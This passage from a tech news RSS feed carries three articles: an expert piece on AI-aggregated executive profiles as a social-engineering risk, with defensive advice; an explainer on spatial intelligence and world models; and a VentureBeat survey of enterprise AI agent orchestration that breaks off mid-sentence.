<p class="wp-block-paragraph">The infrastructure to close that gap exists now. The prerequisite is recognizing that agent execution is a first-class compute pattern with its own primitives and its own requirements, not a variant of the stateless service model that defined the last decade. Teams that make that shift early will have a meaningful structural advantage. The ones that do not will spend the next two years wondering why their agent systems are unreliable at a scale that should be tractable.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The executive profile your security team isn’t defending]]></title>
<description><![CDATA[A few years ago, I was retained to conduct a digital risk review for the chief executive of a mid-sized financial services firm. The brief was standard. Assess what was publicly available about the executive, identify exposure and advise on remediation. The AI tools I used completed the substanti...]]></description>
<link>https://tsecurity.de/de/3672879/it-security-nachrichten/the-executive-profile-your-security-team-isnt-defending/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672879/it-security-nachrichten/the-executive-profile-your-security-team-isnt-defending/</guid>
<pubDate>Thu, 16 Jul 2026 11:09:26 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A few years ago, I was retained to conduct a digital risk review for the chief executive of a mid-sized financial services firm. The brief was standard. Assess what was publicly available about the executive, identify exposure and advise on remediation. The AI tools I used completed the substantive reconnaissance in under ten minutes.</p>



<p class="wp-block-paragraph">What came back was a synthesized profile. Board memberships and the dates they started. A pattern of public commentary that revealed which policy positions the executive held strongly and which ones he would likely bend on under pressure. A philanthropic interest that explained which causes he would respond to if someone framed an ask around them. None of this information was sensitive in isolation. But assembled into a single, queryable narrative, it was something an attacker could use immediately.</p>



<p class="wp-block-paragraph">What I was looking at was a publicly accessible query to a general-purpose AI tool. And that is the problem most executive protection programs have not yet confronted. The reconnaissance phase for a targeted social engineering attack now takes minutes, not days, and the inputs required are trivial.</p>



<p class="wp-block-paragraph">AI-aggregated executive data has become an attack surface. Most security programs have not yet adapted to it.</p>



<h2 class="wp-block-heading"><a></a>The reconnaissance phase has effectively collapsed</h2>



<p class="wp-block-paragraph">Traditional <a href="https://www.csoonline.com/article/567859/what-is-osint-top-open-source-intelligence-tools.html">OSINT</a> work against an executive target required skill and patience. A competent analyst could build a useful profile over several days by working through search engines, corporate filings, social platforms and archived media. That work was a meaningful barrier. It took time and it required judgment about which sources to trust. It also left trails if the attacker was careless.</p>



<p class="wp-block-paragraph">AI aggregation removes all three constraints.</p>



<p class="wp-block-paragraph">The speed advantage is obvious but it is not the most important change. The more significant shift is synthesis. A search engine returns documents. An AI tool returns a coherent narrative with inferred relationships and interpreted significance. When I query a major AI platform for a senior executive by name, I get a structured account of their career arc, their professional relationships, their areas of visible influence and frequently their personal interests, relationships and public-facing affiliations.</p>



<p class="wp-block-paragraph">The <a href="https://westoahu.hawaii.edu/cyber/global-weekly-exec-summary/alphv-hackers-reveal-details-of-mgm-cyber-attack/">MGM Resorts incident </a>reported in 2023 illustrated the principle at scale. Attackers reportedly identified an MGM executive on LinkedIn, used that public profile information to impersonate them in a call to the IT help desk and obtained access credentials within minutes. The OSINT required was minimal and the manipulation was straightforward. What AI tools have done since is make that kind of reconnaissance faster, more complete and available to actors who lack the manual tradecraft to run it themselves.</p>



<p class="wp-block-paragraph">As the<a href="https://www.verizon.com/business/resources/reports/dbir/"> Verizon Data Breach Investigations Report </a>consistently documents, the human element is present in the majority of confirmed breaches, and social engineering remains one of the most reliable initial access vectors.</p>



<p class="wp-block-paragraph">The accessible nature of AI tools is also expanding the threat population. Attacks that previously required a skilled analyst to design now require only a motivated actor with internet access. That changes the volume and targeting calculus. Executives who were previously too obscure to justify a sophisticated manual attack are now viable targets for anyone with a grievance and a query box.</p>



<h2 class="wp-block-heading"><a></a>What should CIOs and CISOs do about it?</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to route anything involving an executive’s public profile to the comms or PR function. That instinct made sense when the risk was reputational. It no longer covers the exposure.</p>



<p class="wp-block-paragraph">What follows is how I advise clients to structure this work.</p>



<h3 class="wp-block-heading">Monitor regularly</h3>



<p class="wp-block-paragraph">The starting point is establishing visibility into what AI tools are actually returning about your executive population. Not a one-time audit conducted during a board meeting and forgotten. The profiles shift continuously as new content is indexed, old content is reweighted and the models are updated.</p>



<p class="wp-block-paragraph">Assign ownership to run structured queries across the major platforms, including ChatGPT, Gemini, Perplexity and the Microsoft Copilot stack, on a regular cadence. Document what you find and track changes. Treat the output the same way you would treat a vulnerability scan as something to be prioritized and acted upon.</p>



<h3 class="wp-block-heading">Reduce the available attack surface</h3>



<p class="wp-block-paragraph">Work with each executive to identify content that expands their AI-indexed profile without serving any legitimate business purpose. This includes legacy conference bios that contain personal details, social posts that reveal schedule patterns or family context and board announcements that, in aggregate, map an executive’s full professional network. For some of this content, removal is possible and worth pursuing with a targeted effort.</p>



<p class="wp-block-paragraph">The more important conversation is around future behavior. Executives who habitually overshare on LinkedIn or in conference panels need to understand, concretely, what that sharing enables.</p>



<p class="wp-block-paragraph">Family member exposure is a consistent blind spot. An attacker who cannot pressure an executive directly may look for leverage through a spouse, a sibling or a child. Executives rarely consider their family members’ public digital footprint as part of their own security posture. It is.</p>



<h3 class="wp-block-heading">Shape the narrative where reduction isn’t possible</h3>



<p class="wp-block-paragraph">Public company executives, board members with mandatory disclosure obligations and individuals whose public profiles are central to their organizations’ credibility cannot simply go dark.</p>



<p class="wp-block-paragraph">The objective shifts from reduction to shaping in these cases. The goal is to ensure that what AI tools synthesize from the indexed content is professionally bound and does not inadvertently surface high-value pretext material. This is a joint exercise between security and communications, with security defining risk boundaries and communications executing the strategy.</p>



<h3 class="wp-block-heading">Train executives on what their own profile looks like</h3>



<p class="wp-block-paragraph">The most effective single intervention I have seen in executive briefings is also the simplest. Open a browser and query an AI platform on the executive in the room. Let them see the output. The reaction is consistent. They are surprised by the synthesis, uncomfortable with specific details that surface and immediately more engaged with the rest of the conversation than they were before.</p>



<p class="wp-block-paragraph">Abstract threat briefings about social engineering risks rarely land with senior leaders who feel they understand their own security position. Demonstrated evidence of their AI-mediated profile lands every time. As covered in the context of <a href="https://www.cio.com/article/4076479/from-awareness-to-ai-driven-resilience-protecting-identities-data-and-agents.html">executive-targeted attacks</a>, awareness is a prerequisite for the behavior change that makes protection programs effective.</p>



<h3 class="wp-block-heading">Integrate this into the executive protection program</h3>



<p class="wp-block-paragraph">This work belongs alongside endpoint security, credential management and physical protection in a unified executive protection program. When it remains a communications function, it lacks the reporting structure, budget authority and operational discipline that security work requires.</p>



<p class="wp-block-paragraph">Assign an owner with a security mandate. Include AI exposure in the risk register. Report on it at the same cadence as other executive protection metrics. The organizations that have done this well have not created a separate program for it. They have extended an existing one.</p>



<h2 class="wp-block-heading"><a></a>What effective executive protection programs now include</h2>



<p class="wp-block-paragraph">The organizations that have integrated AI exposure into their executive protection work share a few characteristics that distinguish them from those still treating it as a communications edge case.</p>



<ul class="wp-block-list">
<li>They treat the executive’s public information footprint as a managed attack surface with a named accountable party. Someone is responsible for it, the same way someone is responsible for endpoint patching or identity governance.</li>



<li>They include AI-assisted reconnaissance as a starting condition in red team exercises. Before any social engineering simulation begins, the red team runs the same queries an attacker would run. The pretext they design is based on what those queries return.</li>



<li>Their executive protection briefings include an AI profile review as a standing agenda point. Physical security considerations, credential exposure and public information risk are reviewed together because they are connected. An attacker who knows an executive’s schedule from their public-facing content can time a credential reset attempt or a vishing call with equal precision.</li>
</ul>



<p class="wp-block-paragraph">The executive I reviewed several years ago had no idea what his AI-indexed profile contained or what it enabled. Most of the executives I work with today are in the same position. By the time you finish reading this, it is likely those queries have already been run on someone in your organization. The question is whether your program is positioned to detect it and respond in time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[A look at spatial intelligence and world models]]></title>
<description><![CDATA[It’s been several years since generative AI and large language models (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while diffusion models enabled generating images, music, and videos.



These generative AI models work well in the digital wor...]]></description>
<link>https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672181/ai-nachrichten/a-look-at-spatial-intelligence-and-world-models/</guid>
<pubDate>Thu, 16 Jul 2026 03:48:06 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">It’s been several years since <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">generative AI</a> and <a href="https://www.understandingai.org/p/large-language-models-explained-with">large language models</a> (LLMs) took the world by storm. LLMs surpassed earlier natural-language systems at generating text, while <a href="https://www.technologyreview.com/2025/09/12/1123562/how-do-ai-models-generate-videos/">diffusion models</a> enabled generating images, music, and videos.</p>



<p class="wp-block-paragraph">These generative AI models work well in the digital world, but on their own, they have limited capabilities to comprehend the three-dimensional physical world and other spaces. This includes the objects occupying an area, how they relate to each other, tracking movement, and answering complex questions requiring an understanding of dimensions, distances, motion, and collisions.</p>



<p class="wp-block-paragraph">Spatial intelligence is an AI capability that allows models to reason about three-dimensional space. These models can generate 3D scenes of the world and other spaces. This content can then be displayed through traditional renderers, game engines, or AR/VR systems that use <a href="https://builtin.com/hardware/spatial-computing">spatial computing</a> techniques. But it’s the spatial intelligence model’s ability to connect natural language with 3D models that has the most applications in robotics, manufacturing, construction, and other physical environments.   </p>



<p class="wp-block-paragraph">Dr. Fei-Fei Li, often called the <a href="https://profiles.stanford.edu/fei-fei-li">godmother of AI</a>, published a manifesto on <a href="https://drfeifei.substack.com/p/from-words-to-worlds-spatial-intelligence">how spatial intelligence is AI’s next frontier</a>, contrasting it with LLMs. “While current state-of-the-art AI can excel at reading, writing, research, and pattern recognition in data, these same models bear fundamental limitations when representing or interacting with the physical world,” wrote Dr. Li. “Our view of the world is holistic—not just what we’re looking at, but how everything relates spatially, what it means, and why it matters. Understanding this through imagination, reasoning, creation, and interaction—not just descriptions—is the power of spatial intelligence.”</p>



<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3672033/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672033/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 16 Jul 2026 00:46:36 +0200</pubDate>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 6: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 7: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 8: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing on model-provider platforms — Anthropic’s Claude leads at 40% — chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed “agents” are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather 